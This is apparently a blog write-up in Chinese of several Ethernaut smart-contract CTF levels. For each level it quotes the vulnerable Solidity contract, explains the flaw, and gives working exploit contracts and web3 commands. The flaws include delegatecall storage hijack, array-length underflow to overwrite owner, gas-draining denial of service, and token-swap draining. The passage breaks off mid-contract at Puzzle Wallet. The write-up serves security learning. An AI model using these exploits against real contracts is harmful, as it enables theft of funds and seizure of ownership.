  • 记住使用SafeMath来避免代币上溢/下溢

Preservation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Preservation {

// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}

// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}

// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
// Simple library contract to set the time
contract LibraryContract {

// stores a timestamp
uint storedTime;

function setTime(uint _time) public {
storedTime = _time;
}
}
  • delegatecall()可以保持调用合约数据上下文,来调用另一个合约的函数
  • 该方法可以方便地使用一个合约作为库
  • 这意味着可以让自己的恶意合约作为库来被delegatecall()调用,就可以操控调用合约的数据,特别是owner

vvlyj0.png

delegatecall()调用时上下文是调用合约,所以当被调用函数对存储状态进行修改时,代码看起来是在修改库中的数据,实际上修改的是调用合约中的数据,将按照存储对应。所以本题中第一次调用setTime修改时间时,修改sotredTime实际上改掉的是题目合约中的外部库地址timeZone1Library

由此可以部署一个恶意合约,内部包含一个同样具有一个函数setTime用来修改数据,并且可以知道owner位于原合约存储中的slot2,所以恶意合约中让可以被修改的sotredTime也位于slot2,这样在实际调用的时候原合约中的owner就会被修改为任意值

exp如下

1
2
3
4
5
6
7
8
9
10
contract badcontract {
address public timeZone1Library;
address public timeZone2Library;
uint storedTime;
address public owner;

function setTime(uint _time) public {
storedTime = _time;
}
}

1
2
3
4
let p = web3.utils.padLeft('0x159c8E5850546B2D2c53220228a67B38Bf78A6e2', 64)
contract.setFirstTime(p)
let p = web3.utils.padLeft(player, 64)
contract.setFirstTime(p)

还看到有的做法是在函数中直接使用owner = msg.sender()进行修改

安全思考

  • 理想情况下,外部库不应该存储状态
  • 创建库的时候使用libbrary而不是contract,确保调用者使用delegatecall()调用库函数时,库不会修改调用者自身的数据
  • 使用更高级别的函数从库继承,特别是当1.不需要修改合约存储时2.不需要控制gas

Recovery

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Recovery {

//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);

}
}

contract SimpleToken {

using SafeMath for uint256;
// public variables
string public name;
mapping (address => uint) public balances;

// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) public {
name = _name;
balances[_creator] = _initialSupply;
}

// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value.mul(10);
}

// allow transfers of tokens
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = _amount;
}

// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}

对solidity开发人员来说,丢失一个新创建的合约地址是常见的错误。这让人不爽特别是如果还丢失来交易收据和其他追溯步骤的方法。

这里有两个通过分别通过原始发送人信息和Etherscan找回合约地址的方法

方法一:计算合约地址

合约地址是确定计算的。黄皮书中

新账户的地址被定义为只包含发送人和账户nonce的结构的RLP编码的keccak hash的最有160位。

可以被下面函数表示

1
address = rightmost_20_bytes(keccak(RLP(sender address, nonce)))

其中:

  • sender address:创建新合约的合约或钱包地址
  • nonce:从sender address发送的交易数量。或者,如果sender是工厂合约,nonce是该账户创建的合约数量
  • RLP:数据结构上的编码器,是以太坊中默认序列化对象
  • keccak:一个加密原语,计算任意输入的Ethereum-SHA-3(Keccak-256)哈希

nonce 0总是智能合约自己的创建事件。第一个创建的合约nonce应该是1。

根据文档,20字节地址的RLP编码是0xd6、0x94。同时对所有小于0x7f的整数,它的编码正好是它自己的字节值。所以1的RLP就是0x01

Remix中,计算如下

1
address public a = address(keccak256(0xd6, 0x94, YOUR_ADDR, 0x01));

要计算后续的合约地址只需要增加nonce

方法二:使用Etherscan

从创建者获取新合约地址的一种更快的方法是使用Etherscan

根据当前地址查找合约,在Internal Txns选项里可以找到

回到题目,首先可以在console里获得当前instance的地址,根据上面提到的两种方法均可以得到。注意到合约中有函数destroy,内部调用了selfdestruct()自毁,会将余额转入指定的账户,可以通过这个函数获得其中的ether。

下面是直接通过ethersacn找到合约地址的方法,可以看到交易记录

vxpbZV.png

vxpqaT.png

exp如下

1
2
3
4
5
6
7
contract Attack {
address payable me = 0x862570693111DB350a6376c095B7E57c7650E78d;
SimpleToken s = SimpleToken(0x91d9d680c30B599B9A4f3535a6064AD474b325BC);
function hack() public {
s.destroy(me);
}
}

在remix通过计算得到地址的exp如下,注意上面知识中写的计算式的语法是旧版的,在题目0.6.0下有一点变化。

1
2
3
4
5
6
7
8
9
10
pragma solidity ^0.6.0;

contract Attack {
address payable me = 0x862570693111DB350a6376c095B7E57c7650E78d;
address payable public contract_addr = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xd6), bytes1(0x94), address(0x578a2025015482D56e3b35e2CB0d7b8AA4A56c84), bytes1(0x01))))));
SimpleToken s = SimpleToken(contract_addr);
function hack() public {
s.destroy(me);
}
}

也可以直接使用web3计算

1
2
3
4
5
6
7
web3.utils.soliditySha3('0xd6', '0x94', instance, '0x01').slice(26,)
'4840b0ff01c598b4fc71576053079e28a594f5cb'

data = web3.eth.abi.encodeFunctionCall({name:'destroy', type:'function', inputs:[{type:'address', name:'_to'}]},[player]);
'0x00f55d9d000000000000000000000000862570693111db350a6376c095b7e57c7650e78d'

await web3.eth.sendTransaction({to:"0x4840b0ff01c598b4fc71576053079e28a594f5cb", from:player, data:data})

MagicNumber

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract MagicNum {

address public solver;

constructor() public {}

function setSolver(address _solver) public {
solver = _solver;
}

/*
____________/\\\_______/\\\\\\\\\_____
__________/\\\\\_____/\\\///////\\\___
________/\\\/\\\____\///______\//\\\__
______/\\\/\/\\\______________/\\\/___
____/\\\/__\/\\\___________/\\\//_____
__/\\\\\\\\\\\\\\\\_____/\\\//________
_\///////////\\\//____/\\\/___________
___________\/\\\_____/\\\\\\\\\\\\\\\_
___________\///_____\///////////////__
*/
}

题目要求:需要提供一个合约Solver,用正确的数字(42)回应whatIsTheMeaningOfLife()。同时限制最多10 opcodes

x9m1s0.png

合约初始化的过程中,发生下面这些事:

  1. 首先,用户或合约发送一笔交易到以太坊网络。这笔交易包含数据,但是没有收件地址。这种格式向EVM表明这是合约创建,而不是常规的发送/调用交易
  2. 其次,EVM把合约代码(高级的,人类可读的语言)编译成字节码(低级的,机器可读的语言)。字节码直接翻译成操作码在调用栈中执行

注意:合约创建字节码包括 1) 初始化代码 2) 合约实际运行的代码,按顺序连接

  1. 在合约创建期间,EVM只执行初始化代码(initial code),直到它在栈中碰到STOPRETURN指令为止。在此阶段,将运行合约的constructor()函数,并且合约有一个地址
  2. 在初始化代码运行之后,只有运行代码(runtime code)保留在栈上。然后这些操作码将被复制到内存并返回给EVM
  3. 最后,EVM将返回的剩余代码和新的合约地址一起存储在状态存储中。这是运行代码(runtime code),未来所有对该新合约的调用都会执行该代码

回到题目,想要解决该题需要两套opcode:

  • Initialization opcodes:直接被EVM运行来创建合约并存储未来的runtime opcodes
  • Runtime opcdes: 包含实际运行逻辑。这是代码的主体部分,应该返回0x42并在10 opcodes以内

更细致的学习链接(备忘):
https://medium.com/@blockchain101/solidity-bytecode-and-opcode-basics-672e9b1a88c2
https://blog.openzeppelin.com/deconstructing-a-solidity-contract-part-i-introduction-832efd2d7737/

先看runtime opcodes

返回值被RETURN操作码控制,需要两个参数

  • p:内存中存储的值的位置
  • s:存储数据的大小

由上说明在返回之前还要先将值存储到内存中,使用mstore(p, v)存储,其中p是位置,v是十六进制值

1
2
3
4
5
6
602a // v: push1 0x2a (value 42)
6080 // p: push1 0x80 (memeory slot)
52 //mstore
6020 // s: push1 0x20 (value is 32bytes in size)
6080 // p: push1 0x80 (value was stored in slot 0x80)
f3 // return

602a60805260206080f3

再看initialization opcodes。这些opcodes需要在将runtime opcodes返回到EVM前复制到它们内存中。EVM会自动保存runtime序列602a60805260206080f3到区块链

codecopy是一个用来将code从一个地方复制到另一个地方的opcode,需要三个参数

  • t:code在内存中的目的地
  • fruntime opcodes相对所有字节码目前的位置。记住finitialization opcodes结束后开始。现在还不知道这个值
  • s:code的大小,以字节为单位。602a60805260206080f30x0a字节长

首先将runtime opcodes复制到内存中,然后为f添加一个占位符,因为目前未知。然后将内存中的runtime opcodes返回给EVM

1
2
3
4
5
6
7
600a // s: push1 0x0a (10 bytes)
60?? // f: push1 0x?? (current position of runtime opcodes)
6000 // t: push1 0x00 (destination memory index 0)
39 // CODECOPY
600a // s: push1 0x0a (runtime opcode length)
6000 // p: push1 0x00 (access memory index 0)
f3 // return to EVM

注意到initialization opcodes占据12字节,所以runtime opcodes会从index 0x0c处开始,所以上面codecopy中参数f为0x0c

最后的序列如下
0x600a600c600039600a6000f3602a60805260206080f3

使用web3发送,最后调用setSolver传入新合约的地址

1
2
3
var bytecodes = '0x600a600c600039600a6000f3602a60805260206080f3';
web3.eth.sendTransaction({from:player, data:bytecodes}, function(err, res){console.log(res)});
await contract.setSolver("contract address");

还有一种opcode的思路是initialization opcodes使用mstore存储runtime opcodes并返回

1
2
3
4
5
6
69602a60005260206000f3 // value: push10 602a60005260206000f3
6000 // offset: push 00
52 // mstore
600a // size: PUSH 0x0a
6016 // offset: PUSH 0x16
f3 // return

这里一开始不是很理解为啥return时对应的偏移为0x16

1
2
3
4
5
6
7
contract Attack {
constructor () public payable {
assembly{
mstore(0, 0x602a60005260206000f3)
}
}
}

debug一下,确实是0x16的偏移

xP3QVs.png

xP3lan.png

因为长度是10,一个slot 32bytes,从后往前放,所以相对开头的index对应偏移为32-10=22=0x16

Alien Codex

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import '../helpers/Ownable-05.sol';

contract AlienCodex is Ownable {

bool public contact;
bytes32[] public codex;

modifier contacted() {
assert(contact);
_;
}

function make_contact() public {
contact = true;
}

function record(bytes32 _content) contacted public {
codex.push(_content);
}

function retract() contacted public {
codex.length--;
}

function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
}

回忆一下数组array是如何存储的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
-----------------------------------------------------
| a (32) | <- slot 0
-----------------------------------------------------
| b.length (32) | <- slot 1
-----------------------------------------------------
| c (32) | <- slot 2
-----------------------------------------------------
| ... | ......
-----------------------------------------------------
| b[0] (32) | <- slot `keccak256(1)`
-----------------------------------------------------
| b[1] (32) | <- slot `keccak256(1) + 1`
-----------------------------------------------------
| ... | ......
-----------------------------------------------------

动态数组的存储规则是在对应slot存储数组长度,数组元素存储在keccak256(idx)对应slot

查看当前数组长度,发现为0

1
2
await web3.eth.getStorageAt(instance, 1)
'0x0000000000000000000000000000000000000000000000000000000000000000'

看到函数都需要通过一个contacttrue的一个断言,可以直接调用make_contact实现。
接着调用一次retract,数组长度发生负溢

1
2
3
4
contract.contact()
contract.retract()
await web3.eth.getStorageAt(instance, 1)
'0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'

接着考虑修改owner的值,在slot0中

1
2
3
4
await contract.owner()
'0xda5b3Fb76C78b6EdEE6BE8F11a1c31EcfB02b272'
await web3.eth.getStorageAt(instance, 0)
'0x000000000000000000000001da5b3fb76c78b6edee6be8f11a1c31ecfb02b272'

数组元素存储位置的计算方法为keccak256(1)+index,而总容量为$ 2^{256} $,当index = 2**256-keccak256(1)时,上式发生上溢为0,则将指向slot0,再利用函数revuse即可对owner进行覆盖

使用remix编译并攻击

1
2
3
4
5
6
7
8
contract Attack {
AlienCodex a = AlienCodex(0x98326c52f149b4c0b7cf84D4020D6972A2D170dA);
bytes32 public ct = bytes32(0x000000000000000000000000862570693111DB350a6376c095B7E57c7650E78d);
uint public idx = uint256(2)**uint256(256)-uint256(keccak256(abi.encodePacked(uint256(1))));
function exp() public {
a.revise(idx, ct);
}
}
1
2
await web3.eth.getStorageAt(instance, 0)
'0x000000000000000000000000862570693111db350a6376c095b7e57c7650e78d'

Denial

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Denial {

using SafeMath for uint256;
address public partner; // withdrawal partner - pay the gas, split the withdraw
address payable public constant owner = address(0xA9E);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

function setWithdrawPartner(address _partner) public {
partner = _partner;
}

// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance.div(100);
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value:amountToSend}("");
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
}

// allow deposit of funds
receive() external payable {}

// convenience function
function contractBalance() public view returns (uint) {
return address(this).balance;
}
}

题意就是要拒绝题目合约中withdraw发给我们的以太币,已知收到以太币时会调用fallbackreceive函数。call()函数会随着调用转发所有gas,而transfer()send()只转发 2300 gas

call()返回两个值,一个bool success表示call执行成功和一个包含返回值的byets memeory data。注意外部调用(external call)的返回值不在任何地方进行检查

完成题目要阻止owner.transfer(amountToSend)被调用,可以创建一个合约通过里面的fallbackreceive函数耗尽gas来阻止继续执行其他指令。

A contract can have at most one receive function, declared using receive() external payable { … } (without the function keyword). This function cannot have arguments, cannot return anything and must have external visibility and payable state mutability. It can be virtual, can override and can have modifiers.

The receive function is executed on a call to the contract with empty calldata. This is the function that is executed on plain Ether transfers (e.g. via .send() or .transfer()). If no such function exists, but a payable fallback function exists, the fallback function will be called on a plain Ether transfer. If neither a receive Ether nor a payable fallback function is present, the contract cannot receive Ether through regular transactions and throws an exception.

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
contract Attack {
Denial d = Denial(0x884b2F4aFDa9EB789108F170B722999bb63c74E9);

constructor () public {
d.setWithdrawPartner(address(this));
}

receive() external payable {
while(true) {}
}

}

Shop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Buyer {
function price() external view returns (uint);
}

contract Shop {
uint public price = 100;
bool public isSold;

function buy() public {
Buyer _buyer = Buyer(msg.sender);

if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}

题目要求低于price来获得商品
并提示注意view修饰符的限制

Functions can be declared view in which case they promise not to modify the state.

The following statements are considered modifying the state:

  1. Writing to state variables.
  2. Emitting events.
  3. Creating other contracts.
  4. Using selfdestruct.
  5. Sending Ether via calls.
  6. Calling any function not marked view or pure.
  7. Using low-level calls.
  8. Using inline assembly that contains certain opcodes.

本题和前面的Elevator类似,本题合约中有isSold可以用来判断是第一次调用还是第二次调用,只需要第一次调用的时候返回一个大于100的值,第二次返回一个小于100的值即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
contract Attack is Buyer {
Shop s = Shop(0x48866E05E97868945bAD1719E446be951eBcc011);

function price() override external view returns (uint){
if (!s.isSold()){
return 200;
}
else{
return 50;
}
}

function exp() public {
s.buy();
}
}

做这题的时候是2022.9.22,题目内容有过更新,搜到网上的题解,感觉之前的版本似乎更有意思一点。上一个版本如下,唯一的区别在于限制了gas。使用opcode可以减少gas消耗。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Buyer {
function price() external view returns (uint);
}

contract Shop {
uint public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price.gas(3300)() >= price && !isSold) {
isSold = true;
price = _buyer.price.gas(3300)();
}
}
}

exp1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
contract Attack is Buyer{
function price() external view override returns (uint){
bool isSold = Shop(msg.sender).isSold();
assembly {
let result
switch isSold
case 1 {
result := 50
}
default {
result := 200
}
mstore(0x0, result)
return(0x0, 32)
}
}
function exp() public {
Shop(0xd9145CCE52D386f254917e481eB44e9943F39138).buy();
}
}

exp2,使用staticcall来调用isSold()从而获取其值,需要六个参数

xEbP1O.png

Stack input

  • gas:发送到要执行的子上下文的gas量。子上下文没有使用gas的会返回到这个上下文
  • address:上下文要执行的账户
  • argsOffset:内存中的字节偏移量,字节为单位,即子上下文的calldata
  • argsSize:要复制的字节大小(calldata的大小)
  • retOffset:内存中的字节偏移量,用来存储子上下文的返回值
  • retSize:要复制的字节大小(返回数据的大小)

Stack output

  • success:如果子上下文恢复返回0,否则返回1

在这里这些参数可以这样设置:

  • gas()将剩余的gas发送给被调用者
  • address,因为构造函数constructor(address, shopAddr),该参数的值已经在状态变量Shop public shop中定义,,可以使用sload来加载。比如sload(0x0)加载slot0存储的值(shop是第一个被定义的状态变量)
  • argsOffset,在被调用者中是msg.data,调用者内存中用来存储参数的起始位置。这里用mstore(0x100, 0xe852e741),存储函数选择器(function selector)isSoldkeccak256("isSold()")前四字节)到内存中偏移0x100处(0x100是随便选的)
1
2
web3.utils.soliditySha3('isSold()').substr(0,10)
0xe852e741

mstore存储32字节数据,所以起始位置为0x120-0x4=0x11c

  • argsLength,4,四字节
  • retOffset
    success,该参数用于存储来自被调用者的返回值。本例中为当前isSold()的值,将其存储在0x120偏移处(0x120随便选的),这里初始为0
  • retLength,返回数据isSold()是布尔类型由uint256表示,所以保留32字节空间

补充

sload(key)load word from storage

storagememorycalldata

  • storage:成员变量,可以跨函数调用。修饰的变量的数据永久存储在区块链上
  • memory:临时数据存储。修饰的变量的数据存储在内存中
  • calldata:一般只有在外部函数(external)的参数被强制指定为calldata,这种数据位置是只读的,不会持久化到区块链中。

函数的参数、函数的返回值的默认数据位置是memory,函数内局部变量的默认数据位置为storage。状态变量的默认数据位置是storage

从而有下面攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
contract Attack is Buyer{
Shop s = Shop(0x7EF2e0048f5bAeDe046f6BF797943daF4ED8CB47);
function price() external view override returns (uint){
assembly {
mstore(0x100, 0xe852e741)
mstore(0x120, 0x0)
let result := staticcall(gas(), sload(0x0), 0x11c, 0x4, 0x120, 0x20)
if iszero(mload(0x120)){
mstore(0x150, 200)
return(0x150, 0x20)
}
mstore(0x150, 50)
return(0x150, 0x20)
}
}
function eexp() public {
s.buy();
}
}

1个小插曲

做到这里的时候突然rinkeby不能再用了,以后改用Goerli了(后来又用Sepolia了,反正哪个能用用哪个),改了测试网络的话之前的记录就没有了,在这里留个图

x3vBz6.png

Dex

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "../IERC20.sol";
import "../ERC20.sol";
import "../SafeMath.sol";
import "../Ownable.sol";

contract Dex is Ownable {
using SafeMath for uint;
address public token1;
address public token2;
constructor() public {}

function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}

function addLiquidity(address token_address, uint amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}

function swap(address from, address to, uint amount) public {
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapPrice(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}

function getSwapPrice(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}

function approve(address spender, uint amount) public {
SwappableToken(token1).approve(msg.sender, spender, amount);
SwappableToken(token2).approve(msg.sender, spender, amount);
}

function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}

contract SwappableToken is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) public ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}

function approve(address owner, address spender, uint256 amount) public returns(bool){
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}

没编译成功,报错:

1
2
3
4
5
6
1.sol:7:1: DeclarationError: Identifier already declared.
import "../Ownable.sol";
^----------------------^
Context.sol:15:1: The previous declaration is here:
abstract contract Context {
^ (Relevant source part starts here and spans across multiple lines).

做题,要求我们把Dex的代币1或代币2清零即可

setTokens函数用来给每个代币合约设置地址,该函数只能被owner调用因为修饰符onlyOwner

addLiquidity函数只能被owner调用,可以给合约提供资金,将从代币地址将允许的代币数量转到Dex

1
2
3
4
5
6
7
8
function swap(address from, address to, uint amount) public {
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapPrice(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}

swap函数是一个public函数,没有修饰符,意味着任何人都可以调用该函数。这被用来交换x数量的token1和token2

  • 该函数想要fromto地址和一个数量amount
  • 函数确保了地址是owner使用setTokens()函数定义的代币地址
  • 另一个require语句检查调用函数的用户是否有足够多的代币
  • 变量swapAmount调用getSwapPrice()函数来计算所有将被交换的数量
  • 调用transferFrom()将从用户转移swapAmount数量的代币到Dex
  • 调用approve来允许代币交换
  • 然后这些to代币从Dex被转移到我们的user
1
2
3
function getSwapPrice(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}

getSwapPrice函数获取代币的地址和要交换的from代币的数量,并计算to代币的数量,使用下面公式

1
The number of token2 to be returned = (amount of token1 to be swapped * token2 balance of the contract)/token1 balance of the contract.

此处存在漏洞。在solidity中没有浮点数,也就意味着无论何时函数做除法,结果都是一个分数。因为没有小数和浮点数,代币数量将四舍五入(round off)趋近于零,因此通过从token1到token2之间进行连续的代币交换,就可以将合约中的一个代币的余额减少为0

approve是一个ERC20函数,用来授予用钱的人花费amount数量的代币

balanceOf()函数只用来计算指定地址的剩余的代币余额

一开始token1和token2均各有10个代币

1
2
3
4
5
6
7
8
await contract.balanceOf(await contract.token2(), player).then(x=>x.toNumber())
10
await contract.balanceOf(await contract.token1(), player).then(x=>x.toNumber())
10
await contract.balanceOf(await contract.token1(), instance).then(x=>x.toNumber())
100
await contract.balanceOf(await contract.token2(), instance).then(x=>x.toNumber())
100

先用approve允许一下转账

1
await contract.approve(instance, 666)

计算公式是amount*to/from,交换会从把player的from转amount给Dex的from,然后把Dex的to转swapamount给player的to(上面from/to指的是token1/token2,注意后一笔转账用的是换算过的amount)

最后就是来回转钱,转就完事了,其中swapamount算出来的结果精度存在损失,转账的过程中player得到的代币比扣除的代币多,而Dex得到的代币比扣除的代币少,从而player账户的余额会越来越多,而Dex的余额越来越少,最终控制某个值将Dex的某一代币的钱转完即可

swap amount Dex token1 Dex token2 player token1 player token2
100 100 10 10
1->2 10 110 90 0 20
2->1 20 86 110 24 0
1->2 24 110 80 0 30
2->1 30 69 110 41 0
1->2 41 110 45 0 65
2->1 45 0 90 110 20

。。。然而算一下发现貌似就算精度不损失这么个转账的方式也会导致player的钱越来越多?最后能够超过Dex的余额达成目标……不好说了……(所以这题只需要无脑转账就完事了)

下面是精度无损情况下的变换过程

swap amount Dex token1 Dex token2 player token1 player token2
100 100 10 10
1->2 10 110 90 0 20
2->1 20 110-220/9 110 220/9 0
1->2 220/9 110 110-220/7 0 220/7
2->1 220/7 110-220/5 110 220/5 0
1->2 220/5 110 110-220/3 0 220/3
2->1 110/3 0 110 110 110/3

Dex Two

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "../IERC20.sol";
import "../ERC20.sol";
import '../SafeMath.sol';
import '../Ownable.sol';

contract DexTwo is Ownable {
using SafeMath for uint;
address public token1;
address public token2;
constructor() public {}

function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}

function add_liquidity(address token_address, uint amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}

function swap(address from, address to, uint amount) public {
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapAmount(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}

function getSwapAmount(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}

function approve(address spender, uint amount) public {
SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
}

function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}

contract SwappableTokenTwo is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}

function approve(address owner, address spender, uint256 amount) public returns(bool){
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}

要求我们把Dex Two合约的代币1和代币2全部耗尽

注意到修改的地方在swap方法,注意到少了一条require语句,即不再验证fromto是否是题目合约中的代币地址

即我们可以使用自己的代币进行转账,从而耗尽题目中的代币

首先部署使用ERC20代币标准在remix上部署一个自己的代币,初始设置400代币并给player

1
2
3
4
5
contract Mytoken is ERC20 {
constructor(uint256 initialSupply) public ERC20("Mytoken", "MYT") {
_mint(msg.sender, initialSupply);
}
}

利用ERC20提供的transfer给DexTwo转账100Mytoken

接着先用approve方法允许一下总额300的代币转,账然后再通过swap交换即可耗尽DexTwo中的代币,过程如下(swapamount计算中使用的是上一个状态下各账户代币的余额)

swap amount DexTwo token1 DexTwo token2 DexTwo Mytoken player token1 player token2 player Mytoken
100 100 100 10 10 300
My->1 100 0 100 200 110 10 200
My->2 200 0 0 400 110 110 0

Puzzle Wallet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;

import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/proxy/UpgradeableProxy.sol";

contract PuzzleProxy is UpgradeableProxy {
address public pendingAdmin;
address public admin;

constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) public {
admin = _admin;
}

modifier onlyAdmin {
require(msg.sender == admin, "Caller is not the admin");
_;
}

function proposeNewAdmin(address _newAdmin) external {
pendingAdmin = _newAdmin;
}

function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
admin = pendingAdmin;
}

function upgradeTo(address _newImplementation) external onlyAdmin {
_upgradeTo(_newImplementation);
}
}

contract PuzzleWallet {
using SafeMath for uint256;
address public owner;
uint256 public maxBalance;
mapping(address => bool) public whitelisted;
mapping(address => uint256) public balances;

function init(uint256 _maxBalance) public {
require(maxBalance == 0, "Already initialized");
maxBalance = _maxBalance;
owner = msg.sender;
}

modifier onlyWhitelisted {
require(whitelisted[msg.sender], "Not whitelisted");
_;
}

function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
require(address(this).balance == 0, "Contract balance is not 0");
maxBalance = _maxBalance;
}

function addToWhitelist(address addr) external {
require(msg.sender == owner, "Not the owner");
whitelisted[addr] = true;
}

function deposit() external payable onlyWhitelisted {
require(address(this).balance <= maxBalance, "Max balance reached");
balances[msg.sender] = balances[msg.sender].add(msg.value);
}

function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
require(balances[msg.sender] >= value, "Insufficient balance");
balances[msg.sender] = balances[msg.sender].sub(value);
(bool success, ) = to.call{ value: value }(data);
require(success, "Execution failed");
}

function multicall(bytes[] calldata data) external payable onlyWhitelisted {
